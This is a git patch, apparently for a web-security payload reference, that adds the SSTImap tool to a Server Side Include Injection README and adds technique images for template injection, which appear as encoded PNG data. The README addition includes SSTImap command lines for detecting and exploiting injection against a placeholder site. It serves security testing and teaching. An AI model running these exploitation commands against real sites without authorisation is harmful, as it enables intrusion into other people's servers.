From 7fb2ff75d7f299246fda0b14f04b28de741bf799 Mon Sep 17 00:00:00 2001 From: vladko312 Date: Sat, 3 Jan 2026 05:20:04 +0300 Subject: [PATCH 1/5] SSI: - Added SSTImap to the tools, as it now supports SSI detection and exploitation SSTI: - Added description for known detection and exploitation techniques - Added payloads for universal detection - Added universal payloads for different languages - Added Error-Based and Boolean-Based payloads - Moved SpEL payloads using `T()` to the correct category - Moved Pug payloads to the correct language and updated info to reflect the actual name --- Server Side Include Injection/README.md | 11 ++ .../Images/technique_Boolean-Based.png | Bin 0 -> 5386 bytes .../Images/technique_Error-Based.png | Bin 0 -> 6973 bytes .../Images/technique_Polyglot-Based.png | Bin 0 -> 5164 bytes .../Images/technique_Rendered.png | Bin 0 -> 4370 bytes .../Images/technique_Time-Based.png | Bin 0 -> 4744 bytes Server Side Template Injection/Java.md | 124 +++++++++----- Server Side Template Injection/JavaScript.md | 74 +++++++-- Server Side Template Injection/PHP.md | 66 ++++++-- Server Side Template Injection/Python.md | 44 +++-- Server Side Template Injection/README.md | 152 ++++++++++++++++-- Server Side Template Injection/Ruby.md | 31 +++- 12 files changed, 405 insertions(+), 97 deletions(-) create mode 100644 Server Side Template Injection/Images/technique_Boolean-Based.png create mode 100644 Server Side Template Injection/Images/technique_Error-Based.png create mode 100644 Server Side Template Injection/Images/technique_Polyglot-Based.png create mode 100644 Server Side Template Injection/Images/technique_Rendered.png create mode 100644 Server Side Template Injection/Images/technique_Time-Based.png diff --git a/Server Side Include Injection/README.md b/Server Side Include Injection/README.md index 62dcb71a45..5880147ec8 100644 --- a/Server Side Include Injection/README.md +++ b/Server Side Include Injection/README.md @@ -4,10 +4,21 @@ ## Summary +* [Tools](#tools) * [Methodology](#methodology) * [Edge Side Inclusion](#edge-side-inclusion) * [References](#references) +## Tools + +- [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI` + + ```bash + python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s + python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI + python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk' + ``` + ## Methodology SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands. diff --git a/Server Side Template Injection/Images/technique_Boolean-Based.png b/Server Side Template Injection/Images/technique_Boolean-Based.png new file mode 100644 index 0000000000000000000000000000000000000000..9081d50c6bb7d43a21ddd6b13a780f89bb677248 GIT binary patch literal 5386 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 bo>Amy#5RuTPLbYu0f4fChCJ%2`K$i|%{iAv literal 0 HcmV?d00001 diff --git a/Server Side Template Injection/Images/technique_Polyglot-Based.png b/Server Side Template Injection/Images/technique_Polyglot-Based.png new file mode 100644 index 0000000000000000000000000000000000000000..5546e3bc12a0227545e58fa98fdf128151668ed6 GIT binary patch literal 5164 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 